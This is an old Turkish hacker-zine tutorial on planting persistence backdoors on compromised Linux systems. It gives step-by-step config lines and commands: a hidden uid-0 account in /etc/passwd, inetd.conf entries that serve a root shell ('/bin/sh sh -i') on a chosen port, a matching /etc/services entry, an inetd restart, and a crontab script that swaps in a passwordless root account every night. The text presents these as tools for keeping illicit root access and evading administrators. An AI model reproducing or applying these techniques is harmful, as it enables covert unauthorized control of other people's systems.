BACKDOOR
- Backdoor Nedir, Nasıl Kullanılır (Bölüm I). (Düzenleyen DaRkCLusTeR) (Turk Crackerlar Gazetesi)
MeRHabA!!! Bu seferki yazımın konusu arka kapılar, size birkaç arka kapı göstereceğim. Çok karışık olmayanlarından, yani kendi Linux'ünüzde yazıyı okur okumaz deneyebilirsiniz, ve ayrıca göstereceğim arka kapılardan yola çıkıp hayal gücünüzü de kullanarak, çok hoş arka kapılar yapabilirsiniz..Yalnız arka kapılar "root" elde etmek için değildir. Arka kapılar çok çalışıp zorla elde ettiğiniz "root"'u sistemde güvenlik delikleri oluşturarak bir sonraki geri dönüşünüz için elinizde tutmanız içindir.
Herneyse, diyelim ki çok aceleniz var ve hemen bir arka kapı oluşturmak istiyorsunuz. /etc/passwd dosyasını hemen bir programla açıp ortalarına bir yere şüphe çekmeyecek bir root hesabı ekleyin ya da dosyanın derinlerinde bir yerlerde sistem yöneticisinin daha önceden dondurduğu bir hesabın uid'ini 0 yapın ve * işaretini kaldırın. Bunlar zorunlu kalmadıkça kullanılmaması gereken yöntemlerdir ve sistem yöneticisinin en çabuk fark edeceği kapılardır. Bu yüzden ZORUNLU KALMADIKÇA KULLANMAYIN!!!
Şimdi geldik bir inetd.conf arka kapısına! Ama en eğlencelisini sona sakladım..hehe... Inetd, sistemin portlarını yükleyen bir programdır ve aynı zamanda arka kapılar için de çok uygundur. Gerçi /etc/inetd.conf dosyasında değişiklik yapılarak yaratılan arka kapıların yaşam süresi sistem yöneticisine göre değişir. Pek uzun yaşayacaklarını hiç sanmıyorum; fakat denemeye değer. Aşağıda kendi bilgisayarımdaki Linux'den aldığım bir /etc/inetd.conf örneği var.
(Tabii ki hepsi değil...)
#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
#telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#gopher stream tcp nowait root /usr/sbin/tcpd gn
#nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd
#shell stream tcp nowait root /usr/sbin/tcpd in.rshd
#login stream tcp nowait root /usr/sbin/tcpd in.rlogind
#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
#talk dgram udp wait root /usr/sbin/tcpd in.talkd
#ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd
#dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd
#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d
#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
#imap stream tcp nowait root /usr/sbin/tcpd imapd
#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l
#tftp dgram udp wait root /usr/sbin/tcpd in.tftpd
#bootps dgram udp wait root /usr/sbin/tcpd bootpd
finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l
#cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd
#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx
#netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet
#time stream tcp nowait nobody /usr/sbin/tcpd in.timed
#time dgram udp wait nobody /usr/sbin/tcpd in.timed
#auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o
# işareti Linux'e o satırı okumamasını sağlıyor. Gördüğünüz gibi benim sadece telnet ve finger portlarım açık. Aslında normalde ben hiç bir portumu açık bırakmam, ama bu aralar açık işte :) Şimdi "Bunlarda nedir?" diye soracaksınız. Telnet'i ele alalım. Satırdaki birinci bölüm çalıştırılacak daemon'un, yani, programın ismidir. İkinci bölümdeki stream socket tipidir. TCP'nin socketi stream ,UDP'ninkiyse dgram. Sonraki bölümde ise protocol ismini görüyorsunuz. Sonraki bölümdeyse programın hangi kullanıcı türü olarak çalışacağı belirlenir. Yani telnet root (uid=0) olarak çalışacak. Beşinci bölümde ise programın bulunduğu dizin var; fakat benim inetd.conf dosyamda /usr/sbin/tcpd'yi görüyorsunuz. Tcpd güvenlik için bazı bilgileri kaydeden bir daemon olduğuna göre, burada telnetin hareketleri normalde olduğundan fazla kaydediliyor. Son bölümdeyse daemonun paremetreleriyle beraber gerçek ismini görüyorsunuz.
Bir de daemonların hangi portları ve protocolleri kullandığını içeren /etc/services dosyası vardır. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz :) Aşağıda bir services örneği var:
tcpmux 1/tcp # rfc-1078
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp
ftp 21/tcp
telnet 23/tcp
smtp 25/tcp mail
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
name 42/udp nameserver
whois 43/tcp nicname # usually to sri-nic
domain 53/tcp
domain 53/udp
mtp 57/tcp # deprecated
bootps 67/udp # bootp server
bootpc 68/udp # bootp client
tftp 69/udp
gopher 70/tcp # gopher server
rje 77/tcp
finger 79/tcp
http 80/tcp # www is used by some broken
www 80/tcp # progs, http is more correct
link 87/tcp ttylink
kerberos 88/udp kdc # Kerberos authentication--udp
kerberos 88/tcp kdc # Kerberos authentication--tcp
supdup 95/tcp # BSD supdupd(8)
hostnames 101/tcp hostname # usually to sri-nic
iso-tsap 102/tcp
x400 103/tcp # ISO Mail
x400-snd 104/tcp
csnet-ns 105/tcp
pop-2 109/tcp # PostOffice V.2
pop-3 110/tcp # PostOffice V.3
pop 110/tcp # PostOffice V.3
sunrpc 111/tcp
sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP
sunrpc 111/udp
sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP
auth 113/tcp ident # User Verification
sftp 115/tcp
uucp-path 117/tcp
nntp 119/tcp usenet # Network News Transfer
ntp 123/tcp # Network Time Protocol
ntp 123/udp # Network Time Protocol
netbios-ns 137/tcp nbns
netbios-ns 137/udp nbns
netbios-dgm 138/tcp nbdgm
netbios-dgm 138/udp nbdgm
netbios-ssn 139/tcp nbssn
imap 143/tcp # imap network mail protocol
NeWS 144/tcp news # Window System
nmp 161/udp
snmp-trap 162/udp
exec 512/tcp # BSD rexecd(8)
biff 512/udp comsat
login 513/tcp # BSD rlogind(8)
who 513/udp whod # BSD rwhod(8)
shell 514/tcp cmd # BSD rshd(8)
syslog 514/udp # BSD syslogd(8)
printer 515/tcp spooler # BSD lpd(8)
talk 517/udp # BSD talkd(8)
ntalk 518/udp # SunOS talkd(8)
efs 520/tcp # for LucasFilm
route 520/udp router routed # 521/udp too
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc # experimental
conference 531/tcp chat
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # BSD uucpd(8) UUCP service
klogin 543/tcp # Kerberos authenticated rlogin
kshell 544/tcp cmd # and remote shell
new-rwho 550/udp new-who # experimental
remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem
rmonitor 560/udp rmonitord # experimental
monitor 561/udp # experimental
pcserver 600/tcp # ECD Integrated PC board srvr
mount 635/udp # NFS Mount Service
pcnfs 640/udp # PC-NFS DOS Authentication
bwnfs 650/udp # BW-NFS DOS Authentication
kerberos-adm 749/tcp # Kerberos 5 admin/changepw
kerberos-adm 749/udp # Kerberos 5 admin/changepw
kerberos-sec 750/udp # Kerberos authentication--udp
kerberos-sec 750/tcp # Kerberos authentication--tcp
kerberos_master 751/udp # Kerberos authentication
kerberos_master 751/tcp # Kerberos authentication
krb5_prop 754/tcp # Kerberos slave propagation
listen 1025/tcp listener RFS remote_file_sharing
nterm 1026/tcp remote_login network_terminal
kpop 1109/tcp # Pop with Kerberos
ingreslock 1524/tcp
tnet 1600/tcp # transputer net daemon
cfinger 2003/tcp # GNU finger
nfs 2049/udp # NFS File Service
eklogin 2105/tcp # Kerberos encrypted rlogin
krb524 4444/tcp # Kerberos 5 to 4 ticket xlator
irc 6667/tcp # Internet Relay Chat
dos 7000/tcp msdos
Buraya istediğinizi ekleyebilirsiniz. Örneğin; ircyi ele alalım. Baştaki "irc" sözcüğü /etc/inetd.conf'un içinde yer alacak olan isim, 6667 port numarası, tcp protokol tipi, # işaretinden sonraki bölümse açıklaması. Artık bu anlattıklarımdan sonra, kapıyı nasıl koyacağınızı anlatacağım.
Kendi servisinizi yükleyebilirsiniz ya da önceden yüklenmiş bir servisi değiştirebilirsiniz.
Örneğin, kurbanımız time olsun.
time stream tcp nowait nobody /usr/sbin/tcpd in.timed
Time'ın port numarası services dosyasında 37 olarak belirlendiği için services dosyasını değiştirmeye gerek yok. Önemli olan son üç bölüm. Kapımızın root olarak çalışması şart olduğu için nobody yerine root yazın. /usr/sbin/tcpd yerine /bin/sh yazın. Ve son olarak in.timed yerine sh -i yazın. Satırın aynı aşağıdaki gibi olması gerekiyor:
time stream tcp nowait root /bin/sh sh -i
Hepsi bu kadar! Eğer isterseniz riske girip yönetici yerine siz "killall -HUP inetd" yazarak dosyayı tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Şimdi tek yapacağınız port 37'ye telnet çekmek. Root olarak sistemde bulacaksınız kendinizi...heuehuhu...Tek yapacağınız kapınızı /etc/services dosyasına tanıtmak ve inetd.conf'a eklemek. İşte size bir örnek:
inetd.conf --> filter stream tcp nowait root /bin/sh sh -i
services --> filter 8000/tcp backdoor
İşte bu kadar. Şimdi tek yapacağınız "killall -HUP inetd" yazıp, port 8000'e telnet çekmek. Hiç zor değil...Ama bu kapılar daha önce de dediğim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyası şeklinde olan truva atları tabii ki!
Ve son olarak /etc/crontab kapılarına geldik. Sadece bir tane örnek vereceğim, çünkü hayal gücünüzü kullanarak bir sürü değişik kapı üretebilirsiniz. Crond istediğiniz zamanda istediğiniz işlemi yapmanızı sağlayan çok yararlı bir araçtır. Şimdiki örnekte, crond 30 saniyeliğine begüm isimli bir kullanıcıyı aktif hale getiriyor. Basit ama etkili br örnek.
Nasıl mı yapacaksınız? Çok basit, sadece /etc/crontab dosyasına bir satır gireceksiniz ve birkaç shell dosyası yapacaksınız. Tabii ki biraz unix bilginizin olduğunu düşünüyorum. Aşağıda crontab dosyasındaki alanların açıklamaları var:
(1) (2) (3) (4) (5) (6)
dakika saat gün ay haftanınçalıştırılacak komut ya da dosya
0-59 0-23 1-31 1-12 0-6günü
Şimdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktır. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin içine gidip "begum" adlı bir dosya yaratın ve bu dosyanın içine şunları girin:
30 23 * * * sh /usr/bin/test
Sonra /usr/bin/ dizinine gidin ve test adlı bir dosya yaratıp şu değişiklikleri yapın:
cp /etc/passwd /etc/passwdd
rm /etc/passwd
cp /etc/tester /etc/passwd
sleep 30
rm /etc/passwd
cp /etc/passwdd /etc/passwd
Daha sonra /etc/'ye gidip tester adlı bir dosya yaratıp aşağıdakileri girin:
begum::0:0:Begum Atac:/:/bin/bash
İşte arka kapınız hazır! Her gün saat 23:30'da 30 saniyeliğine gerçek passwd dosyası yerine kendi begum isimli root hesabımızı aktif hale getiriyoruz! Bu çok basit ve bir çok insanın bildiği bir kapıdır. Tabii ki hayal gücünüz sayesinde çok daha karmaşık ve iyilerini yaratabilirsiniz.
Hepsi bu kadar...Size anlattıklarımı başka yerlerde de okumuş olabilirsiniz. Bana mail atıp kopyaladğımı söylemeyin! Neden mi? Çünkü bunlar en çok bilinen kapılardır, bu nedenle başkalarının da anlatmış olması çok normal! Herneyse, belki başka bir sayıda karışık arka kapı örnekleri veririm, şimdilik bu kadar. Kendinize iyi bakın!